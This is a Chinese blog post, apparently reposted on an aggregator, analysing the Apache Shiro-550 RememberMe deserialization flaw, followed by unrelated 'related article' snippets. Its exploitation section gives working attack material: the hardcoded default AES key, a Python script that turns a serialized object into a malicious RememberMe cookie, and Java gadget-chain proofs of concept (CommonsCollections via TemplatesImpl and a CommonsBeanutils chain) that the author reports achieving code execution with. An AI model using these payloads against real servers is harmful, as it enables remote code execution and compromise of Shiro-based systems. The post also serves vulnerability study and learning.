Shiro550反序列化漏洞分析

news2024/9/22 3:53:58

shiro搭建教程可以在网上自行搜索

漏洞发现

进入shiro界面后,burp抓包,选择remember me并进行登录。观察burp抓到的包

登录之后服务器返回一个Cookie Remember me

image-20240710143754561

之后用户的访问都带着这个Cookie

image-20240710143859702

这个Cookie很长,可能会在里面存在一定的信息

源码审计

接下来去shiro源码中,看下Remember me Cookie的获取及使用

找到CookieRememberMeManager类,

protected byte[] getRememberedSerializedIdentity(SubjectContext subjectContext) { //从请求中,获得cookie

    if (!WebUtils.isHttp(subjectContext)) {
        if (log.isDebugEnabled()) {
            String msg = "SubjectContext argument is not an HTTP-aware instance.  This is required to obtain a " +
                    "servlet request and response in order to retrieve the rememberMe cookie. Returning " +
                    "immediately and ignoring rememberMe operation.";
            log.debug(msg);
        }
        return null;
    }

    WebSubjectContext wsc = (WebSubjectContext) subjectContext;
    if (isIdentityRemoved(wsc)) {
        return null;
    }

    HttpServletRequest request = WebUtils.getHttpRequest(wsc);
    HttpServletResponse response = WebUtils.getHttpResponse(wsc);

    String base64 = getCookie().readValue(request, response);
    // Browsers do not always remove cookies immediately (SHIRO-183)
    // ignore cookies that are scheduled for removal
    if (Cookie.DELETED_COOKIE_VALUE.equals(base64)) return null;

    if (base64 != null) {
        base64 = ensurePadding(base64);
        if (log.isTraceEnabled()) {
            log.trace("Acquired Base64 encoded identity [" + base64 + "]");
        }
        byte[] decoded = Base64.decode(base64);     //将Cookie base64解码
        if (log.isTraceEnabled()) {
            log.trace("Base64 decoded byte array length: " + (decoded != null ? decoded.length : 0) + " bytes.");
        }
        return decoded;   //返回解码后的值
    } else {
        //no cookie set - new site visitor?
        return null;
    }
}

然后看解码之后进行了什么操作,就找谁调用了getRememberedSerializedIdentity。找到getRememberedPrincipals

public PrincipalCollection getRememberedPrincipals(SubjectContext subjectContext) {
    PrincipalCollection principals = null;
    try {
        byte[] bytes = getRememberedSerializedIdentity(subjectContext);   //调用
        //SHIRO-138 - only call convertBytesToPrincipals if bytes exist:
        if (bytes != null && bytes.length > 0) {
            principals = convertBytesToPrincipals(bytes, subjectContext); //进入convertBytesToPrincipals 方法 认证
        }
    } catch (RuntimeException re) {
        principals = onRememberedPrincipalFailure(re, subjectContext);
    }

    return principals;
}
protected PrincipalCollection convertBytesToPrincipals(byte[] bytes, SubjectContext subjectContext) {
    if (getCipherService() != null) {
        bytes = decrypt(bytes);  //解密
    }
    return deserialize(bytes);   //反序列化
}

一次看解密和反序列化,先看解密方法

protected byte[] decrypt(byte[] encrypted) {
    byte[] serialized = encrypted;
    CipherService cipherService = getCipherService();
    if (cipherService != null) {
        ByteSource byteSource = cipherService.decrypt(encrypted, getDecryptionCipherKey());   //在此处进行了解密
        serialized = byteSource.getBytes();
    }
    return serialized;
}

之后先看密钥key的获取getDecryptionCipherKey(),最后我们是找到了key是在CookieRememberMeManager父类AbstractRememberMeManager的构造函数处,被赋值的而且key是固定值

public AbstractRememberMeManager() {
    this.serializer = new DefaultSerializer<PrincipalCollection>();
    this.cipherService = new AesCipherService();
    setCipherKey(DEFAULT_CIPHER_KEY_BYTES);
}

private static final byte[] DEFAULT_CIPHER_KEY_BYTES = Base64.decode("kPH+bIxk5D2deZiIxcaaaA==");

加密解密服务用的是AES(这里贴的是加密的代码,output=iv+encrypted)

iv是在base64中的,解密时直接把iv取出来用,所以我们写payload时iv可以随机生成。

public ByteSource encrypt(byte[] plaintext, byte[] key) {
    byte[] ivBytes = null;
    boolean generate = isGenerateInitializationVectors(false);
    if (generate) {
        ivBytes = generateInitializationVector(false);
        if (ivBytes == null || ivBytes.length == 0) {
            throw new IllegalStateException("Initialization vector generation is enabled - generated vector" +
                    "cannot be null or empty.");
        }
    }
    return encrypt(plaintext, key, ivBytes, generate);
}
private ByteSource encrypt(byte[] plaintext, byte[] key, byte[] iv, boolean prependIv) throws CryptoException {

    final int MODE = javax.crypto.Cipher.ENCRYPT_MODE;

    byte[] output;

    if (prependIv && iv != null && iv.length > 0) {

        byte[] encrypted = crypt(plaintext, key, iv, MODE);

        output = new byte[iv.length + encrypted.length];              //iv

        //now copy the iv bytes + encrypted bytes into one output array:

        // iv bytes:
        System.arraycopy(iv, 0, output, 0, iv.length);

        // + encrypted bytes:
        System.arraycopy(encrypted, 0, output, iv.length, encrypted.length);  //iv和密文会一起被传进output中
    } else {
        output = crypt(plaintext, key, iv, MODE);
    }

    if (log.isTraceEnabled()) {
        log.trace("Incoming plaintext of size " + (plaintext != null ? plaintext.length : 0) + ".  Ciphertext " +
                "byte array is size " + (output != null ? output.length : 0));
    }

    return ByteSource.Util.bytes(output);
}

最后是反序列化

public T deserialize(byte[] serialized) throws SerializationException {
    if (serialized == null) {
        String msg = "argument cannot be null.";
        throw new IllegalArgumentException(msg);
    }
    ByteArrayInputStream bais = new ByteArrayInputStream(serialized);
    BufferedInputStream bis = new BufferedInputStream(bais);
    try {
        ObjectInputStream ois = new ClassResolvingObjectInputStream(bis);
        @SuppressWarnings({"unchecked"})
        T deserialized = (T) ois.readObject();  //这个readObject可以利用
        ois.close();
        return deserialized;
    } catch (Exception e) {
        String msg = "Unable to deserialze argument byte array.";
        throw new SerializationException(msg, e);
    }
}

现在知道服务端接受Remember me Cookie之后,先进行base64解码,之后AES解密,最后进行反序列化。

漏洞利用

用python写的生成payload的代码

import sys
import base64
import uuid
from random import Random
from Crypto.Cipher import AES

def get_file_data(filename):
    with open(filename,'rb') as file:
        data = file.read()
    return data
    
def aes_enc(data):
    BS = AES.block_size
    pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
    key = base64.b64decode("kPH+bIxk5D2deZiIxcaaaA==")
    iv = uuid.uuid4().bytes
    encryptor = AES.new(key, AES.MODE_CBC, iv)
    file_body = pad(data)
    base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))
    return base64_ciphertext
    
if __name__ == '__main__':
    data = get_file_data("s.ser")
    print(aes_enc(data))

CC3

报错

试着打下CC3

因为shiro的依赖中没有用到CC库,所以我们要手动添加个CC依赖

用插件Maven Helper,可以看到CC依赖是test(不会被打包)

所以要手动添加依赖cc3.2.1

下面分析为什么shiro不能加载数组类时要用到tomcat的依赖源码

<dependency>
    <groupId>org.apache.tomcat.embed</groupId>
    <artifactId>tomcat-embed-core</artifactId>
    <version>9.0.91</version>
</dependency>

image-20240711144602742

添加依赖后,拿CC6打一下

会发现没法赢反应,看下输出

发现是Poc里面用到的,Transformer数组在反序列化的时候报错了。

image-20240711155018988

错误溯源

这里我简单记录下,大家可以去看 Shiro反序列化漏洞(二)

违反ClassLoader双亲委派机制三部曲第二部——Tomcat类加载机制

跟进一下报错位置deserialize

可以发现shiro的readObject不是直接用的java.io.ObjectInputStream,而是用的自定义的ObjectInputStream ois = new ClassResolvingObjectInputStream(bis);

public T deserialize(byte[] serialized) throws SerializationException {
    if (serialized == null) {
        String msg = "argument cannot be null.";
        throw new IllegalArgumentException(msg);
    }
    ByteArrayInputStream bais = new ByteArrayInputStream(serialized);
    BufferedInputStream bis = new BufferedInputStream(bais);
    try {
        ObjectInputStream ois = new ClassResolvingObjectInputStream(bis);
        @SuppressWarnings({"unchecked"})
        T deserialized = (T) ois.readObject();
        ois.close();
        return deserialized;
    } catch (Exception e) {
        String msg = "Unable to deserialze argument byte array.";    //抛出异常
        throw new SerializationException(msg, e);
    }
}

跟进ClassResolvingObjectInputStream看下,

它继承了ObjectInputStream,并重写了resolveClass方法,错误应该就出现在这个地方。

public class ClassResolvingObjectInputStream extends ObjectInputStream {

    public ClassResolvingObjectInputStream(InputStream inputStream) throws IOException {
        super(inputStream);
    }
    @Override
    protected Class<?> resolveClass(ObjectStreamClass osc) throws IOException, ClassNotFoundException {
        try {
            return ClassUtils.forName(osc.getName());                       //区别在这forName方法用的是自定义CLassUtils类的
        } catch (UnknownClassException e) {
            throw new ClassNotFoundException("Unable to load ObjectStreamClass [" + osc + "]: ", e);
        }
    }
}

///下面是ObjectInputStream的resolveClass方法/
    protected Class<?> resolveClass(ObjectStreamClass desc) throws IOException, ClassNotFoundException {
        String name = desc.getName();

        try {
            return Class.forName(name, false, latestUserDefinedLoader());  
        } catch (ClassNotFoundException var5) {
            Class<?> cl = (Class)primClasses.get(name);
            if (cl != null) {
                return cl;
            } else {
                throw var5;
            }
        }
    }

跟进ClassUtils.forName(osc.getName()),一直走到WebappClassLoaderBase中的loadClass

如果类名是Tomcat引入的,Tomcat首先用自己的findClass方法寻找要加载的类,如果找不到就走JDK默认的Class.forName。

image-20240712103207781

debug可以看到,在Tomcat的findClass(Transformers数组)时抛出了异常

进WebappClassLoaderBase findClass看看,这个类和URLClassLoader类似

image-20240712110006360

获取路径名

image-20240712110101346

image-20240712110132966

这个流程和URLClassLoader的相似

image-20240712110305723

抛出异常是因为我们传入的name(要查找的类名)是[Lorg.apache.commons.collections.Transformer;经过处理转换成查找路径是

image-20240712110801248

这个路径肯定是找不到Transformer数组类的。

所以Poc里面不能出现数组类

但是要看这个数组类是在哪引入的,如果是JDK的数组类,那么在Tomcat中会调用Class.forName。这是能加载的。

如果不重写resolveClass,反序列化是通过Class.forName寻找类的,可以找到数组类。

延伸

Class.forName vs ClassLoader.loadClass

这里提到的

1)Class.forName会解析数组类型,如[Ljava.lang.String;
2)ClassLoader不会解析数组类型,加载时会抛出ClassNotFoundException;

是因为ClassLoader.findClass时,和上面一样拿到的路径是不正确的。

解决问题

在之前CC CB链的学习中,我们知道CC2可以不用Transformer数组。(因为CC2不用使用ConstantTransformer(Runtime.class)控制传值,传值可以使用PriorityQueue的add;而且只实例化一个InvokerTransformer就行)

而上面打CC3我们用CC6也是因为CC6可以控制传值不使用ConstantTransformer(Runtime.class)。CC6利用链分析

所以这里考虑CC6前半个链结合CC2的后半个链(动态加载类)

更新Poc

public class CC3_shiro_exp {
    public static void main(String[] args) throws Exception {
        //CC3
        byte[] code = Files.readAllBytes(Paths.get("G:\\Java反序列化\\class_test\\Test.class"));
        byte[][] codes = {code};
        TemplatesImpl templates = new TemplatesImpl();
        Class templatesClass = templates.getClass();
        Field name = templatesClass.getDeclaredField("_name");
        name.setAccessible(true);
        name.set(templates, "pass");

        Field bytecodes = templatesClass.getDeclaredField("_bytecodes");
        bytecodes.setAccessible(true);
        bytecodes.set(templates, codes);

        Field tfactory = templatesClass.getDeclaredField("_tfactory");
        tfactory.setAccessible(true);
        tfactory.set(templates, new TransformerFactoryImpl());
        
        //CC2
        InvokerTransformer invokerTransformer = new InvokerTransformer("newTransformer", null, null);

        //CC6
        Map lazyMap = LazyMap.decorate(new HashMap(), invokerTransformer);
        //断掉利用链 TiedMapEntry, LazyMap, ChainedTransformer都可以
        //举个例子修改tiedMapEntry的 key
        
        TiedMapEntry tiedMapEntry = new TiedMapEntry(new HashMap(), templates);//修改传值最后调用是invokerTransformer.transform(templates)  --> templates.newTransformer

        HashMap<Object, Object> hashMap = new HashMap<>();

        hashMap.put(tiedMapEntry, 1);

        //复原
        //因为key为private,而且也没有public方法能直接修改key
        //利用反射
        Class c = TiedMapEntry.class;
        Field key = c.getDeclaredField("map");
        key.setAccessible(true);
        key.set(tiedMapEntry, lazyMap);

        //cc1_poc.serialize(hashMap);
        cc1_poc.unserialize("s.ser");
    }
}

再打一次,成功弹出计算器

CB链

CB链之前讲过

用python脚本生成下payload,发包发现命令没有执行

image-20240711103302273

debug看一下

BeanComparator报错

image-20240711104300801

发现是加载BeanComparator失败,这是因为shiro的CB依赖版本问题,我用CB链的是1.9.4,而shiro用的是1.8.3。修改一下CB链版本再试一次。

ComparableComparator报错

public BeanComparator( final String property ) {           //我们调用的是这个构造函数,可以按到构造函数中用到了CC库的ComparableComparator,所以报错了
    this( property, ComparableComparator.getInstance() );
}

public BeanComparator( final String property, final Comparator<?> comparator ) { //解决这个问题,我们就用两个参数的这个构造函数,传进去一个shiro依赖中有的Comparator就好了
    setProperty( property );
    if (comparator != null) {
        this.comparator = comparator;
    } else {
        this.comparator = ComparableComparator.getInstance();
    }
}

寻找的思路是,找到即实现了Comparator接口又实现了Serializable接口的类,AttrCompare类就满足这个条件

修改CB Poc

//CB
BeanComparator<Object> beanComparator = new BeanComparator<>("outputProperties",new AttrCompare());

重新打一下

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1921736.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

springboot增加过滤器后中文乱码

记录一下小问题 public class RepeatableHttpServletWrapper extends HttpServletRequestWrapper {private byte[] body;public RepeatableHttpServletWrapper(HttpServletRequest request) throws IOException {super(request);request.setCharacterEncoding("UTF-8&q…

数据建设实践之大数据平台(一)准备环境

大数据组件版本信息 zookeeper-3.5.7hadoop-3.3.5mysql-5.7.28apache-hive-3.1.3spark-3.3.1dataxapache-dolphinscheduler-3.1.9大数据技术架构 大数据组件部署规划 node101node102node103node104node105datax datax datax ZK ZK ZK RM RM NM

Git的命令使用与IDEA内置git图形化的使用

Git 简介 Git 是分布式版本控制系统&#xff0c;它可以帮助开发人员跟踪和管理代码的更改。Git 可以记录代码的历史记录&#xff0c;并允许您在不同版本之间切换。 通过历史记录可以查看&#xff1a; 进行了哪些更改&#xff1f;谁进行了更改&#xff1f;何时进行了更改&#…

nodejs模板引擎(二)

虽然Jade现在已经被更名为Pug&#xff0c;但它的使用方式并没有太大的改变。下面是如何在Node.js中使用Pug&#xff08;原Jade&#xff09;模板引擎的基本步骤&#xff1a; 1. 安装 Pug 首先&#xff0c;你需要安装Pug模块。在你的项目目录中&#xff0c;使用npm来安装&#…

gradle 和 java 版本对应关系

文章目录 gradle 和 java 版本对应关系原地址 gradle 和 java 版本对应关系 原地址 https://docs.gradle.org/current/userguide/compatibility.html#compatibility

超市暑期(7-8月)生鲜之蔬果商品及营销操作建议!

生鲜经营的思路现在越来越被重视&#xff0c;越来越做的更精细化&#xff0c;营销方法和手段越来越多&#xff0c;如何正确地运用好营销策略&#xff0c;如何做到这个季节的生鲜经营既能保持新鲜&#xff0c;又能保持盈利呢&#xff1f; 7-8月份蔬菜重点商品及季节性商品 叶菜…

无人驾驶大热,新能源汽车智能化中的算网支持

来源新华社&#xff1a;百度“萝卜快跑”全无人驾驶汽车行驶在路上 当前&#xff0c;新能源汽车产业数智化已成为全球汽车产业数字化转型的焦点。一方面&#xff0c;随着人工智能、大数据、云计算等技术的深度融合&#xff0c;新能源汽车在自动驾驶、智能互联、能源管理等方面…

从零设计一个神经网络:实现手写数字识别

前言 为了能够更好的理解神经网络&#xff0c;从手写数字识别这个小任务来逐层弄清楚神经网络的工作原理以及一般流程是非常合适的。 这篇文章就来手写完成一个数字识别的任务&#xff0c;来说明如何设计、实现并训练一个标准的前馈神经网络&#xff0c;以期对神经网络有一个…

AI编程助手-Tabnine的使用体验

文章目录 一&#xff0c;安装使用1&#xff0c;VSCode安装Tabnine插件2&#xff0c;使用 三&#xff0c;Tabnine的工作原理1&#xff0c;深度学习的力量2&#xff0c;注意事项&#xff1a;最大化Tabnine的效能 在编程的世界里&#xff0c;每一行代码都承载着创造者的智慧与汗水…

ubuntu安装YOLOV8环境

文章目录 前言 前言 ubuntu20.04 使用vmware虚拟机 1、安装python sudo apt-get install python3 python3-pip2&#xff0c;安装虚拟环境 sudo apt install python3.8-venv3&#xff0c;创建虚拟环境 python3 -m venv yolov8-env4&#xff0c;进入虚拟环境 source yolov8…

测试人必会 K8S 操作之 Dashboard

在云计算和微服务架构的时代&#xff0c;Kubernetes (K8S) 已成为管理容器化应用的标准。然而&#xff0c;对于许多新手来说&#xff0c;K8S 的操作和管理常常显得复杂而神秘。特别是&#xff0c;当你第一次接触 K8S Dashboard 时&#xff0c;你是否也感到有些无所适从&#xf…

十大CRM系统对比:选出最适合你的工具

本文将分享10款优质CRM系统&#xff1a;纷享销客、Zoho CRM、HubSpot、Salesforce、悟空CRM、销售易、Pipedrive、Oracle CRM、Insightly、SugarCRM。 在选择CRM系统时&#xff0c;很多企业主和管理者都面临着一个难题&#xff1a;市面上的品牌众多&#xff0c;到底哪个才是最…

《昇思25天学习打卡营第14天|SSD目标检测》

SSD&#xff08;Single Shot MultiBox Detector&#xff09;是一种用于目标检测的深度学习算法。它的设计旨在同时检测多个对象&#xff0c;并确定它们在图像中的位置和类别。与其他目标检测算法相比&#xff0c;SSD具有速度快和精度高的特点&#xff0c;在实时检测应用中非常受…

python 代码设计贪吃蛇

代码&#xff1a; # -*- codeing utf-8 -*- import tkinter as tk import random from tkinter import messageboxclass Snake:def __init__(self, master):self.master masterself.master.title("Snake")# 创建画布self.canvas tk.Canvas(self.master, width400,…

Centos忘记密码,重置root密码

Centos忘记密码&#xff0c;重置root密码 操作环境&#xff1a;Centos7.6 1、选择包含rescue的选项&#xff0c;按e进入编辑模式 首先&#xff0c;我们需要重启系统&#xff0c;进入开机引导菜单界面。在这里&#xff0c;我们可以看到系统的内核版本和启动参数等信息。我们需…

期权专题12:期权保证金和期权盈亏

目录 1. 期权保证金 1.1 计算逻辑 1.2 代码复现 1.3 实际案例 2. 期权盈亏 2.1 价格走势 2.2 计算公式 2.2.1 卖出期权 2.2.2 买入期权 免责声明&#xff1a;本文由作者参考相关资料&#xff0c;并结合自身实践和思考独立完成&#xff0c;对全文内容的准确性、完整性或…

龙迅#LT8644EX适用于HDMI2.0 4进4出矩阵应用,分辨率最高支持4K60HZ!

1. 概述 LT8644EX是一款 1616 数字交叉点开关&#xff0c;具有 16 个差分 CML 兼容输入和 16 个差分 CML 输出。该LT8644EX针对每个端口的数据速率高达 6 Gbps 的不归零 &#xff08;NRZ&#xff09; 信令进行了优化。每个端口都提供可编程的输入均衡电平和可编程输出摆幅。…

10个Python函数参数进阶用法及代码优化

目录 1. 默认参数值&#xff1a;让函数更加灵活 2. 关键字参数&#xff1a;清晰的调用方式 3. *args&#xff1a;拥抱不确定数量的位置参数 4. **kwargs&#xff1a;处理不确定数量的关键字参数 5. 参数解包&#xff1a;简化多参数的传递 6. 命名关键字参数&#xff1a;限…

【第31章】MyBatis-Plus之注解配置

文章目录 前言一、注解介绍二、注解列表总结 前言 本文详细介绍了 MyBatisPlus 注解的用法及属性&#xff0c;提供了源码链接以便深入理解。欢迎通过下方链接查看注解类的源码。 Mybatis-Plus Annotation 源码 一、注解介绍 Mybatis-Plus注解统一存放在com.baomidou.mybatis…

PS 2024【最新】中文白嫖版!,安装教程,图文步骤

文章目录 软件介绍软件下载安装步骤 软件介绍 Photoshop&#xff0c;简称“PS” Adobe Photoshop&#xff0c;简称“PS”&#xff0c;是由Adobe Systems开发和发行的图像处理软件。Photoshop主要处理以像素所构成的数字图像。使用其众多的编修与绘图工具&#xff0c;可以有效地…